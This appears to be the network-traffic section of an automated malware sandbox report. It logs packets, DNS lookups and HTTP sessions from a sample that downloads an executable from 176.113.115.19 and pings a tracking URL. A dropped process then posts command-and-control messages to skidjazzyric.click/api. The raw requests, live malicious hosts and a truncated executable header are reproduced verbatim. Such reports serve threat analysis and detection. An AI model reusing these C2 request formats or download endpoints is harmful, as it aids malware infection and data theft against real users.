Jan 8, 2025 09:44:18.858848095 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.858921051 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:18.858936071 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.907907009 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:18.944696903 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.944767952 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.944797039 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.944892883 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.945216894 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:18.945360899 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:18.946603060 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:18.946625948 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.946683884 CET	49980	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:18.946691036 CET	443	49980	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:18.954864979 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:44:19.154867887 CET	49981	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:19.154911995 CET	443	49981	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:19.155002117 CET	49981	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:19.155323982 CET	49981	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:19.155334949 CET	443	49981	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:19.564127922 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:44:19.639940977 CET	443	49981	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:19.640151978 CET	49981	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:19.641525984 CET	49981	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:19.641539097 CET	443	49981	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:19.641793013 CET	443	49981	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:19.645035982 CET	49981	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:19.645241976 CET	49981	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:19.645385027 CET	443	49981	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:20.197156906 CET	443	49981	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:20.197256088 CET	443	49981	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:20.201349974 CET	49981	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:20.202076912 CET	49981	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:20.202095032 CET	443	49981	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:20.382381916 CET	49982	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:20.382421017 CET	443	49982	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:20.382509947 CET	49982	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:20.382836103 CET	49982	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:20.382848978 CET	443	49982	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:20.767275095 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:44:20.849126101 CET	443	49982	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:20.849400997 CET	49982	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:20.850605965 CET	49982	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:20.850617886 CET	443	49982	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:20.850989103 CET	443	49982	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:20.852380991 CET	49982	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:20.852526903 CET	49982	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:20.852726936 CET	443	49982	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:20.852886915 CET	49982	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:20.895334959 CET	443	49982	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:21.386861086 CET	443	49982	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:21.386981964 CET	443	49982	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:21.387067080 CET	49982	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:21.387192965 CET	49982	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:21.387216091 CET	443	49982	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:21.575053930 CET	49983	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:21.575090885 CET	443	49983	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:21.575175047 CET	49983	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:21.575500011 CET	49983	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:21.575515032 CET	443	49983	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:22.037153006 CET	443	49983	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:22.037282944 CET	49983	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:22.038655996 CET	49983	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:22.038666964 CET	443	49983	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:22.038921118 CET	443	49983	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:22.040246964 CET	49983	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:22.040380955 CET	49983	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:22.040445089 CET	443	49983	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:22.040519953 CET	49983	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:22.040528059 CET	443	49983	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:22.664560080 CET	443	49983	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:22.664686918 CET	443	49983	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:22.664899111 CET	49983	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:22.667258024 CET	49983	443	192.168.2.8	104.21.80.1
Jan 8, 2025 09:44:22.667284012 CET	443	49983	104.21.80.1	192.168.2.8
Jan 8, 2025 09:44:23.173654079 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:44:27.986062050 CET	49708	80	192.168.2.8	176.113.115.19

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 09:42:28.655028105 CET	60316	53	192.168.2.8	1.1.1.1
Jan 8, 2025 09:42:28.670495987 CET	53	60316	1.1.1.1	192.168.2.8
Jan 8, 2025 09:44:16.933098078 CET	63485	53	192.168.2.8	1.1.1.1
Jan 8, 2025 09:44:16.955835104 CET	53	63485	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 8, 2025 09:42:28.655028105 CET	192.168.2.8	1.1.1.1	0x993b	Standard query (0)	post-to-me.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:44:16.933098078 CET	192.168.2.8	1.1.1.1	0xa805	Standard query (0)	skidjazzyric.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 8, 2025 09:42:28.670495987 CET	1.1.1.1	192.168.2.8	0x993b	No error (0)	post-to-me.com	104.21.56.70	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:42:28.670495987 CET	1.1.1.1	192.168.2.8	0x993b	No error (0)	post-to-me.com	172.67.179.207	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:44:16.955835104 CET	1.1.1.1	192.168.2.8	0xa805	No error (0)	skidjazzyric.click	104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:44:16.955835104 CET	1.1.1.1	192.168.2.8	0xa805	No error (0)	skidjazzyric.click	104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:44:16.955835104 CET	1.1.1.1	192.168.2.8	0xa805	No error (0)	skidjazzyric.click	104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:44:16.955835104 CET	1.1.1.1	192.168.2.8	0xa805	No error (0)	skidjazzyric.click	104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:44:16.955835104 CET	1.1.1.1	192.168.2.8	0xa805	No error (0)	skidjazzyric.click	104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:44:16.955835104 CET	1.1.1.1	192.168.2.8	0xa805	No error (0)	skidjazzyric.click	104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:44:16.955835104 CET	1.1.1.1	192.168.2.8	0xa805	No error (0)	skidjazzyric.click	104.21.64.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

post-to-me.com

skidjazzyric.click

176.113.115.19

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49708	176.113.115.19	80	6736	C:\Users\user\Desktop\xHj1N8ylIf.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 09:42:29.846451998 CET	85	OUT	GET /ScreenUpdateSync.exe HTTP/1.1 User-Agent: ShareScreen Host: 176.113.115.19
Jan 8, 2025 09:42:30.549819946 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 08:42:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue, 07 Jan 2025 19:23:06 GMT ETag: "4bee00-62b22acaa7a80" Accept-Ranges: bytes Content-Length: 4976128 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bc 97 53 92 f8 f6 3d c1 f8 f6 3d c1 f8 f6 3d c1 8a 77 3e c0 f5 f6 3d c1 8a 77 38 c0 6e f6 3d c1 8a 77 39 c0 eb f6 3d c1 e9 70 3e c0 ea f6 3d c1 e9 70 39 c0 e9 f6 3d c1 e9 70 38 c0 d3 f6 3d c1 8a 77 3c c0 f3 f6 3d c1 f8 f6 3c c1 80 f6 3d c1 7b 70 39 c0 f9 f6 3d c1 7b 70 3f c0 f9 f6 3d c1 52 69 63 68 f8 f6 3d c1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 1a 7f 7d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 1a 46 00 00 e6 05 00 00 00 00 00 0a d4 22 00 00 10 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$S===w>=w8n=w9=p>=p9=p8=w<=<={p9={p?=Rich=PEL}gF"@o L@kxm_kbPk8hk@k.textbss".textF"F `.rdatajhlF@@.data?PkH@.idatakH@@.msvcjmckH@.00cfgkH@@.fptablekH@.relockH@B.rsrc_m`J@@
Jan 8, 2025 09:42:30.549834013 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc e9 46 d0 3e 00 e9 a1 6a 40 00 e9 9c f7 3d 00 e9 17 19 3f 00 e9 d2 90 40 00 e9 83 f9 3a 00 e9 78 13 41 00 Data Ascii: F>j@=?@:xA?~EBK?_G@A?`ME;C6>@@>A@Z=O=?B;<>g<=><D<F>;\|C
Jan 8, 2025 09:42:30.550045013 CET	1236	IN	Data Raw: c8 42 00 e9 42 6d 3c 00 e9 8d 97 3b 00 e9 fc f8 3a 00 e9 53 ec 44 00 e9 8e ef 3e 00 e9 49 4c 3b 00 e9 d4 bb 40 00 e9 ff fe 3a 00 e9 ca 3e 45 00 e9 85 4e 3f 00 e9 d0 23 3e 00 e9 1b ae 3f 00 e9 36 46 40 00 e9 a1 dd 3c 00 e9 5c a9 3f 00 e9 27 44 3b Data Ascii: BBm<;:SD>IL;@:>EN?#>?6F@<\?'D;>;/EH@@^H=@t<;yB@u<;ED+L?2;=\|>EC;mD%>:n9<C;3BjY=5@P6?;^;D@!DI<C
Jan 8, 2025 09:42:30.550057888 CET	1236	IN	Data Raw: 41 00 e9 5f 83 45 00 e9 fa 03 45 00 e9 05 82 44 00 e9 10 7f 40 00 e9 4b 53 3c 00 e9 d6 d8 3e 00 e9 71 93 3f 00 e9 2c 3b 3d 00 e9 77 10 3e 00 e9 92 dc 42 00 e9 fd f3 43 00 e9 d8 65 43 00 e9 13 0f 3b 00 e9 7e aa 3c 00 e9 19 0e 3f 00 e9 e4 ee 43 00 Data Ascii: A_EED@KS<>q?,;=w>BCeC;~<?C=5>@C+yB/B1<,?=D.?XB(<CB@A=)ED&B_\;*E;C9<+?@>@.?gc;2;]xBH]C3?;<~@t@
Jan 8, 2025 09:42:30.550069094 CET	448	IN	Data Raw: 00 e9 cc fe 3c 00 e9 c7 f9 0c 00 e9 a2 86 45 00 e9 6d 41 3f 00 e9 48 1e 3f 00 e9 23 07 3b 00 e9 5e 3f 3b 00 e9 09 80 45 00 e9 74 29 3f 00 e9 ff 89 3f 00 e9 ca 34 3b 00 e9 c5 f8 43 00 e9 c0 65 44 00 e9 3b bd 43 00 e9 f6 13 41 00 e9 01 c4 41 00 e9 Data Ascii: <EmA?H?#;^?;Et)??4;CeD;CAA:}Ery<tBHqA;EEEd@AB\|E@<~E>@<}ER5@Q=?x<o<>h<?V;C0A*D&RB1;
Jan 8, 2025 09:42:30.550100088 CET	1236	IN	Data Raw: 9b 3c 00 e9 c4 7c 45 00 e9 25 91 3c 00 e9 30 d7 08 00 e9 9b 17 3e 00 e9 96 e3 40 00 e9 91 c1 40 00 e9 ec b0 40 00 e9 f7 2b 3b 00 e9 e2 a6 40 00 e9 3d 2b 3b 00 e9 18 0c 3f 00 e9 83 bd 3f 00 e9 ce 06 3e 00 e9 69 32 3c 00 e9 14 e0 44 00 e9 4f 39 3b Data Ascii: <\|E%<0>@@@+;@=+;??>i2<DO9;D@?`8@d>v;n<r{E@r=@m(;HCC?,<i>Ed<M<A%w@kB@flD??AwAl{E=>?c<N'?A?;:E
Jan 8, 2025 09:42:30.550117970 CET	1236	IN	Data Raw: 45 00 e9 97 18 3e 00 e9 92 c8 40 00 e9 dd 30 41 00 e9 88 46 42 00 e9 a3 5a 3c 00 e9 4e 4f 43 00 e9 09 34 45 00 e9 54 0e 3f 00 e9 df c2 3c 00 e9 6a 0e 42 00 e9 75 f9 42 00 e9 e0 3c 3d 00 e9 0b 8b 3f 00 e9 46 30 40 00 e9 91 38 3c 00 e9 bc f4 3a 00 Data Ascii: E>@0AFBZ<NOC4ET?<jBuB<=?F0@8<::7==HAB,<^U???>D>vB@A<C=A;<@>@Z;?<.C<ZCDEC]<[;%<H;=fBa><
Jan 8, 2025 09:42:30.550143957 CET	1236	IN	Data Raw: 00 e9 44 1f 42 00 e9 37 3a 45 00 e9 3a d9 42 00 e9 25 08 41 00 e9 30 31 3f 00 e9 1b c8 43 00 e9 66 d2 3c 00 e9 91 f4 3e 00 e9 9c 10 3f 00 e9 c7 8d 3e 00 e9 f2 ca 3d 00 e9 cd 50 3b 00 e9 68 c2 40 00 e9 53 cd 42 00 e9 7e 0f 3f 00 e9 89 68 42 00 e9 Data Ascii: DB7:E:B%A01?Cf<>?>=P;h@SB~?hBAqD:><C[<rEqzE\|5<pE?=A=sD>A$B;:5<`>@Fd<qE>G@;B>^DI<
Jan 8, 2025 09:42:30.550157070 CET	1236	IN	Data Raw: e9 61 8e 01 00 e9 ce 6d 45 00 e9 b7 7c 3f 00 e9 62 78 3f 00 e9 3d ac 3c 00 e9 f8 c5 3b 00 e9 23 ae 3f 00 e9 8e 69 40 00 e9 e9 b6 42 00 e9 d4 de 3a 00 e9 9f ed 40 00 e9 0c 6d 45 00 e9 a5 33 42 00 e9 f0 06 3f 00 e9 29 6e 45 00 e9 36 32 44 00 e9 31 Data Ascii: amE\|?bx?=<;#?i@B:@mE3B?)nE62D1>?{@B};DC?.)<@.E<%@ ?C<;6D\|]DGh<2wA]@B,;EDI=?<"nE@@<>a
Jan 8, 2025 09:42:30.550169945 CET	1236	IN	Data Raw: 1e 2b 40 00 e9 29 e8 3b 00 e9 94 65 45 00 e9 df aa 43 00 e9 fa 5f 42 00 e9 15 d0 44 00 e9 80 7e 43 00 e9 bb 3f 3b 00 e9 86 aa 3c 00 e9 71 93 3c 00 e9 6c 77 40 00 e9 37 f3 3a 00 e9 02 2c 3f 00 e9 2d 30 42 00 e9 b8 4c 45 00 e9 b3 bb 3c 00 e9 3e 9a Data Ascii: +@);eEC_BD~C?;<q<lw@7:,?-0BLE<>@iE;OB<5DzA{@CdA<</B=E9As:<hE$E?:<}C^C[DFACBLC@"E-AX@>g?
Jan 8, 2025 09:42:30.554815054 CET	1236	IN	Data Raw: 77 3f 00 e9 c6 d4 44 00 e9 81 7f 42 00 e9 5c 26 43 00 e9 b7 b4 40 00 e9 82 c4 3c 00 e9 ed 7e 42 00 e9 56 d5 3a 00 e9 43 29 3d 00 e9 4e be 3e 00 e9 69 a9 42 00 e9 24 ca 44 00 e9 3f 70 3f 00 e9 7a b3 3c 00 e9 35 b9 3b 00 e9 f0 70 3f 00 e9 db 02 42 Data Ascii: w?DB\&C@<~BV:C)=N>iB$D?p?z<5;p?BV<+:B$E8C]>X`@3&@C>;Ajr?5?B>(;<<@B;<(&<3nDdE@<OB@%D0=DC

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	104.21.56.70	443	6736	C:\Users\user\Desktop\xHj1N8ylIf.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 08:42:29 UTC	90	OUT	GET /track_prt.php?sub=0&cc=DE HTTP/1.1 User-Agent: ShareScreen Host: post-to-me.com
2025-01-08 08:42:29 UTC	800	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 08:42:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.16 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dVw4oDVKvze83m5zEXZrmJqlYS5y9LMu802gFrrZNK90e1roX05ZsvK8xsVHLpYU5mh%2FRlehgSf9W6ZH%2Bwh6dkcKhgvcUemfc6%2FFqDNmZ0QYFGCLE6m8PuqiZPHNsapz2A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8feae4fe2a6d42e4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1575&min_rtt=1572&rtt_var=595&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=728&delivery_rate=1829573&cwnd=228&unsent_bytes=0&cid=72704711e49d9f59&ts=552&x=0"
2025-01-08 08:42:29 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-08 08:42:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49979	104.21.80.1	443	6036	C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 08:44:17 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: skidjazzyric.click
2025-01-08 08:44:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-08 08:44:17 UTC	1129	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 08:44:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n73gtceickrbfu4g971a8nrlp8; expires=Sun, 04 May 2025 02:30:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MVFGK4CxOBeXDqxvtqTTbnFGNsENR42bSLz9gL%2FiVnivlYgUOIEpYPPoxFt2ZObo3216Pjzo1UkPwKM5oHojsafIEIOsxuCHSCkQx8ejiU4zO7GK3uxsX2%2BVr%2Fq5qjfu%2B96VKvE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8feae7a19efa42d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1588&min_rtt=1584&rtt_var=602&sent=7&recv=8&lost=0&retrans=0&sent_bytes=3057&recv_bytes=909&delivery_rate=2710396&cwnd=230&unsent_bytes=0&cid=699041d216b2fbdf&ts=478&x=0"
2025-01-08 08:44:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-08 08:44:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49980	104.21.80.1	443	6036	C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 08:44:18 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 74 Host: skidjazzyric.click
2025-01-08 08:44:18 UTC	74	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 68 35 56 66 48 2d 2d 26 6a 3d 31 34 34 38 62 62 36 32 65 31 32 37 36 38 32 31 64 35 30 32 34 36 65 62 38 38 62 33 31 30 39 66 Data Ascii: act=recive_message&ver=4.0&lid=4h5VfH--&j=1448bb62e1276821d50246eb88b3109f
2025-01-08 08:44:18 UTC	1131	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 08:44:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i4gm5hat6iag16a8om0hga49hg; expires=Sun, 04 May 2025 02:30:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d%2F1RLMds1q%2FAeIyZvEELBPOlTvGvrIT0%2FgjU1GFN4y4zO4P%2F6P7eeUX2lVVtVSNZ53cv3aJn1b3iDIK9BfNVMvlHn1MUXUEcdTIn25Lmx4BcZsgN0Yz2%2BpNsq4TYUBBqveqsXXk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8feae7a769ed43ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1701&min_rtt=1694&rtt_var=651&sent=5&recv=6&lost=0&retrans=0&sent_bytes=3057&recv_bytes=976&delivery_rate=2492885&cwnd=231&unsent_bytes=0&cid=b3e4350c2cabc3f9&ts=478&x=0"
2025-01-08 08:44:18 UTC	238	IN	Data Raw: 31 63 39 61 0d 0a 52 50 6f 49 50 57 4a 31 55 7a 36 4b 77 72 57 61 73 56 4a 47 50 55 55 5a 6f 50 43 50 4d 41 47 68 46 63 7a 68 57 59 48 6b 63 72 6b 2f 32 48 34 66 57 45 46 2f 48 50 6d 6e 6c 36 44 46 49 44 4e 59 61 54 76 42 6c 4b 30 4b 5a 38 42 35 76 34 52 31 6f 35 49 66 6d 33 36 63 61 56 45 52 45 48 38 63 37 37 71 58 6f 4f 6f 70 5a 46 67 72 4f 35 72 53 36 6c 70 6a 77 48 6d 75 67 44 4c 75 6c 42 37 61 4c 4a 5a 76 56 51 63 57 4e 31 2f 6d 72 39 44 2f 31 44 4d 73 55 79 78 30 79 4a 32 74 48 43 50 45 62 2b 37 62 65 38 79 42 42 74 67 4a 6d 33 74 57 51 41 68 2f 52 61 69 6e 32 37 69 4c 63 43 64 59 4a 33 58 47 6c 4f 52 59 61 63 6c 78 72 34 55 7a 38 59 30 55 30 53 79 59 62 46 51 4e 48 79 4e 53 37 4b 6a 62 2b 64 34 7a Data Ascii: 1c9aRPoIPWJ1Uz6KwrWasVJGPUUZoPCPMAGhFczhWYHkcrk/2H4fWEF/HPmnl6DFIDNYaTvBlK0KZ8B5v4R1o5Ifm36caVEREH8c77qXoOopZFgrO5rS6lpjwHmugDLulB7aLJZvVQcWN1/mr9D/1DMsUyx0yJ2tHCPEb+7be8yBBtgJm3tWQAh/Rain27iLcCdYJ3XGlORYaclxr4Uz8Y0U0SyYbFQNHyNS7Kjb+d4z
2025-01-08 08:44:18 UTC	1369	IN	Data Raw: 5a 42 46 6e 66 4e 72 53 74 52 49 77 38 58 53 2f 6b 69 37 75 6c 68 61 62 4f 64 5a 7a 48 77 63 62 63 51 53 6f 71 4e 76 32 31 6a 4d 72 57 43 5a 37 30 4a 33 74 55 57 76 4c 63 36 53 4d 4e 4f 79 49 47 74 77 75 6b 57 31 51 42 78 38 33 55 2b 76 67 6d 62 6a 55 4b 47 51 48 5a 31 76 53 6b 65 35 47 62 74 49 33 73 63 30 69 6f 34 45 63 6d 33 37 59 62 46 45 42 47 6a 46 4f 34 4b 76 63 2f 63 45 37 4c 56 49 71 65 38 2b 59 34 6c 46 6a 78 48 32 6b 6a 44 48 6e 69 78 33 64 4a 70 67 71 45 55 41 51 4b 52 79 77 34 50 54 39 77 7a 63 6f 53 57 56 42 67 6f 32 6a 53 79 50 45 65 2b 37 62 65 2b 75 44 45 39 67 74 6c 32 6c 58 43 77 55 78 54 75 36 74 30 75 72 56 4e 53 70 56 4a 47 6e 49 6e 4f 74 52 61 73 68 2b 71 34 51 2f 6f 38 68 51 33 44 37 59 4d 68 38 68 47 6a 70 51 34 72 66 58 75 4d 78 Data Ascii: ZBFnfNrStRIw8XS/ki7ulhabOdZzHwcbcQSoqNv21jMrWCZ70J3tUWvLc6SMNOyIGtwukW1QBx83U+vgmbjUKGQHZ1vSke5GbtI3sc0io4Ecm37YbFEBGjFO4Kvc/cE7LVIqe8+Y4lFjxH2kjDHnix3dJpgqEUAQKRyw4PT9wzcoSWVBgo2jSyPEe+7be+uDE9gtl2lXCwUxTu6t0urVNSpVJGnInOtRash+q4Q/o8hQ3D7YMh8hGjpQ4rfXuMx
2025-01-08 08:44:18 UTC	1369	IN	Data Raw: 32 6e 4f 6d 4f 74 64 62 73 38 33 34 4d 4d 38 2b 38 5a 49 6d 77 79 62 66 6c 77 4b 56 51 52 66 35 71 37 51 37 70 4d 76 61 6b 5a 6e 66 4d 37 53 74 52 4a 75 77 6e 2b 6f 6b 54 54 75 68 52 37 56 4b 5a 31 6c 56 77 41 58 50 46 6e 73 71 39 7a 37 33 6a 51 32 56 53 64 7a 78 35 50 6e 57 43 4f 4e 4e 36 6d 62 65 37 76 47 49 63 77 74 32 6c 39 63 44 68 6b 32 53 71 69 2f 6d 65 47 54 4e 79 67 66 66 7a 76 50 6d 75 68 58 62 4d 4a 39 6f 49 59 78 37 34 34 65 32 44 53 58 62 6c 38 4d 48 7a 74 52 35 71 54 66 38 64 67 37 49 6c 38 6d 63 59 4c 63 72 56 56 37 67 79 2f 75 74 7a 7a 76 69 78 2b 5a 45 35 74 6b 55 51 63 42 63 55 4f 6d 75 5a 66 2f 33 33 42 38 48 79 74 79 77 70 6e 6e 56 6d 50 45 65 71 75 41 50 4f 43 4c 46 39 45 6f 6e 32 35 54 43 52 6f 33 58 4f 2b 6b 30 75 72 57 4f 53 68 54 Data Ascii: 